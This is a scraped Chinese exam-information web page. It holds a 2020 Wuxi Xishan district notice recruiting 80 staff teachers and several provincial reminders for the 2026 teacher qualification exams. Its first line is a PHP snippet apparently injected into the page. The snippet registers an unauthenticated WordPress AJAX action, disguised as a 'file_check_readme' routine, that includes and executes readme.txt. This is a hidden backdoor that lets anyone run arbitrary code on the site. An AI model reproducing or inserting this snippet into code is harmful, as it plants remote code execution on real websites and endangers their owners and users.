if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
江苏无锡市锡山区2021年招聘编制教师80人公告-全国教师资格考试网

江苏无锡市锡山区2021年招聘编制教师80人公告

  为选拔优秀人才,充实教师队伍,优化人员结构,按照《关于进一步做好全省中小学校新进教师公开招聘工作的意见》(苏教规〔2016〕1号)及《无锡市事业单位公开招聘人员实施办法》(锡委办发〔2012〕54号)文件精神,经无锡市锡山区人力资源和社会保障局审核,报无锡市人力资源和社会保障局核准,无锡市锡山区教育系统决定面向2021届普通高校毕业生公开招聘事业编制教师80名。现将有关事项公告如下:

  一、资格条件

  普通高等院校2021届全日制本科及以上毕业生(含2020年获得境外研究生学历、硕士及以上学位者,须经国家教育部留学服务中心认证,且未就业的人员)、2021年毕业并取得学历证书的非全日制研究生(全日制普通高校毕业后,直接通过研究生入学考试被录取的非全日制研究生,读研期间无工作经历)。应聘考生均须取得相应学位,专业对口,并符合下列条件(学历等要求详见附件1《招聘岗位简介表》):

  1、具有中华人民共和国国籍,享有公民的政治权利,遵纪守法,品行端正,热爱教育事业,具有良好的敬业精神,身心健康。具备教师职业所需的综合素质和报考学科相对应的专业技能,口头表达能力强,有一定的组织管理能力。

  2、年龄在30周岁及以下(1990年1月1日以后出生),博士生放宽至35周岁及以下(1985年1月1日以后出生),户籍不限。

  3、已取得相应教师资格证(暂未取得的,须承诺于2021年7月31日前取得相应教师资格证)。报考21和22岗位的应聘者,教师资格证可给予三年过渡期,到2024年7月31日仍未取得相应教师资格的,聘用合同自动解除。 

  4、部分岗位须在本科或硕士研究生阶段就读期间曾担任过班级、团支部或院系学生会、团委主要干部,或获得过学校(含专业所对应的院、系)二等奖学金及以上或国家级综合奖学金(详见附件1《招聘岗位简介表》)。

  5、报考岗位所要求的专业和其他条件见附件1《招聘岗位简介表》。附件中有其他条件要求的,以附件为准。

  6、有下列情况之一者不得报考:

  (1)曾因犯罪受过刑事处罚、劳动教养、少年管教的人员或曾被开除公职的人员;

  (2)受到党纪、政纪处分或正在接受纪律审查的人员;

  (3)刑事处罚期限未满或涉嫌违法犯罪正在接受调查的人员;

  (4)在读非应届毕业的普通高校学生;

  (5)现役军人;

  (6)其他不适宜担任教师职务的。

  二、程序和办法:

  (一)报名安排

  1、采用网络报名方式。报名、照片和证明材料上传、资格审核、缴费确认、准考证打印,均通过网络进行,不接受现场报名。

  (1)报名、照片及相关资料上传时间:

  ①南师大考点:2020年11月16日9:00至11月22日16:00

  ②华中师大考点:2020年11月16日9:00至12月3日16:00

  (2)报名网址:http://www.xsjyxxw.cn

江苏无锡市锡山区2021年招聘编制教师80人公告
  报名二维码

  (3)网上资格审核时间:

  ①南师大考点:2020年11月17日9:00至11月23日16:00

  ②华中师大考点:2020年11月17日9:00至12月4日16:00

  (4)报名确认时间:

  ①南师大考点:2020年11月17日9:00至11月23日19:00

  ②华中师大考点:2020年11月17日9:00至12月4日19:00

  2、报考人员可在报名24小时后在同一网址查询是否通过资格审核(其中,11月23日-11月29日报考华中师大考点的人员统一在11月30日以后查询),通过资格审核的,须报考人员回复确认后报名方为有效,未回复确认的视为自动放弃参加考试。

  3、报名注意事项

  (1)报考人员必须认真阅读本公告,对照公告中报名条件和岗位要求如实填写有关信息,同时上传本人近期正面免冠彩色证件照片(电子版JPG格式,640×380像素,大小1MB以内),上传本人身份证、就业推荐表、就业协议书、已取得的本科及以上毕业证书和学位证书、教师资格证(尚未取得相应教师资格证的应聘考生须提交于规定期限前提供相应证书的承诺书,其中报考20和21岗位的考生为2024年7月31日前,其余为2021年7月31日前)、普通话证书、获奖证书、任职证书(证明)、国家教育部留学服务中心认证材料、承诺书(模板见附件)等证明材料的图片(电子版JPG格式,大小2MB以内,垂直正向、不留边框,内容清晰,便于识别)。考生提供材料须真实有效,凡弄虚作假者,一经查实,立即取消考核资格或聘用资格,并将情况通报就读学校。

  (2)每名应聘考生每个考点限报一个岗位。网上资格审核通过后,不得更改报名信息、不得改报其他岗位。资格未审核或资格审核未通过的,在报名时间截止前可以改报其他岗位。

  (3)各招聘岗位的开考比例为1:3,如未达到开考比例,经无锡市人力资源和社会保障局同意,核减、取消招聘计划或降低开考比例。

  4、打印准考证

  ①南师大考点:报考人员可从2020年11月26日12:00起到报名网站下载并打印准考证。

  ②华中师大考点:报考人员可从2020年12月5日12:00起到报名网站下载并打印准考证。

  (二)考核办法及时间地点

  1、笔试

  笔试内容为专业知识(报考体育岗位的考生,专业知识考核为技能考核)。笔试满分为100分,合格线为50分,达不到合格线者直接淘汰。笔试成绩现场公布。笔试成绩占总成绩30%。

  根据岗位拟招聘人数1:5的比例从高分到低分确定进入面试的人员(同分跟进)。达不到该比例的,按实际进入人数确定面试人选;因放弃面试造成空额的,不再递补。

  2、面试

  面试主要考核应聘者的教师潜质素养、价值观和教育教学能力。面试成绩当场向面试考生反馈并由考生签字确认。面试考核成绩满分100分,合格线为60分,面试成绩未达合格线者直接淘汰。面试成绩占总成绩的70%。

  3、总成绩计算方法

  考核全部结束后,根据应聘人员的各项成绩及所占比例计算出总成绩。从高分到低分按照岗位需求数1:1的比例确定体检人员名单并签订就业协议,同时上交《2021年毕业生就业推荐表》原件与《2021年毕业生就业协议书》原件。总成绩相同时,以面试成绩高者为先;如笔试、面试均同分,则进行加试(面试),取加试成绩高者确定为体检人选。

  4、考核时间、地点

考核点 笔试时间、地点(以准考证为准) 面试时间、地点(以现场公告为准)
南京师范大学 暂定11月28日,地点待定 暂定11月29日,地点待定
华中师范大学 暂定12月7日,地点待定 暂定12月8日,地点待定

  笔试时间和地点以准考证为准,面试时间、地点和相关事宜以现场公告为准,不再另行通知。考点招聘计划未完成的,指标可以顺延到下个考点。请考生及时登陆锡山教育政务网(www.jsxishan.gov.cn/qjyj)关注招聘计划的调整情况。

  三、体检、考察、公示和聘用

  体检由锡山区教育局统一组织实施,时间地点另行通知。体检标准和项目按照《公务员录用体检通用标准(试行)》执行,体检费用考生自理。体检不合格者,终止就业协议,取消录用。

  各招聘单位对体检合格人员进行考察,重点考察考生的政治思想表现、遵纪守法、道德品质、业务能力等情况,并进行报考资格复审。经体检、考察、复审合格后,对拟录取人员公示7个工作日。公示无异议,办理聘用审批手续。聘用后按事业单位人员聘用制度签订聘用合同。

  取得聘用资格的考生在2021年7月31日前办理报到手续时必须提供所报岗位要求的各类证书(另有规定的除外),不能提供者取消聘用资格。

  聘用人员实行试用制度,试用期按聘用制有关规定执行。试用期满考核合格的,予以定岗,不合格者取消聘用资格,终止聘用关系。新聘用教师试用期合格后,在我区至少还需服务满5年。

  新聘用的教师实行“区管校用”的模式,所有人员必须服从锡山区教育局安排。

  在对拟录用人员进行公示前,因体检、考察、复审、放弃录用资格等原因出现岗位空缺,可进行递补。

  四、诚信管理

  按照《无锡市事业单位公开招聘诚信管理试行办法》规定,考生在招聘单位已公示拟聘用或聘用后放弃的(含超过规定期限未报到而视同放弃的),将以一般失信行为记入无锡市事业单位公开招聘考生失信行为数据库,并提供给公共信用信息机构,记录期限为三年。在事业单位公开招聘考察环节,将考生个人信用情况作为考察的重要参考依据。

  五、疫情防控要求

  1、考生须于考前7日内根据防控疫情要求进行健康申报,打印并如实填写《考生健康卡及承诺书》(见附件3),当天须形成当地健康码(南京苏康码、武汉健康码)和“国务院行程轨迹健康码”。

  2、考生到考点现场主动出示身份证、经考生本人签名的《考生健康卡及承诺书》、当地健康绿码并配戴口罩,现场测量体温低于37.3℃,方可进入现场报考。

  3、考前14天内有国(境)外、非低风险区旅居史、健康码信息异常的报考者需提供考前7天内核酸检测阴性报告。仍在隔离治疗期的确诊、疑似病例或无症状感染者,以及隔离期未满者,不得报名参加考试。

  考生隐瞒身体异常情况,或隐瞒谎报旅居史、接触史、健康状况等疫情防控重点信息,或不配合工作人员进行防疫检测、询问、排查等造成严重后果的,将取消考核资格,并依法追究法律责任。

  六、招聘考务相关信息发布网址

  招聘岗位、招聘条件等有关情况可通过以下网站查询:

  锡山教育政务网: http://www.jsxishan.gov.cn/qjyj

  锡山区人力资源和社会保障局网:http://www.jsxishan.gov.cn/qrsj/index.shtml

  本次公开招聘的其他各类信息,仅在锡山教育政务网公布,请各位考生及时登陆查询。

  七、招聘纪律与监督

  事业单位公开招聘人员工作,坚持贯彻“公开、平等、竞争、择优”的原则,严肃招聘纪律,严格秉公办事,接受纪检、监察部门和社会监督。为方便群众和社会监督,杜绝不正之风,特设立监督举报电话:

  中共无锡市锡山区纪律检查委员会0510-85500036

  八、本公告由无锡市锡山区教育局负责解释

  九、报名咨询电话

  1、学校咨询电话(见附件2:招聘学校信息一览表)

  2、教育局咨询电话

  0510-88701596张老师、胡老师

  0510-88200413浦老师、叶老师

  附件:1、招聘岗位简介表

     2、招聘学校信息一览表

     3、考生健康卡及承诺书

     4、“双一流”高校名单

无锡市锡山区教育局

2020年11月16日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部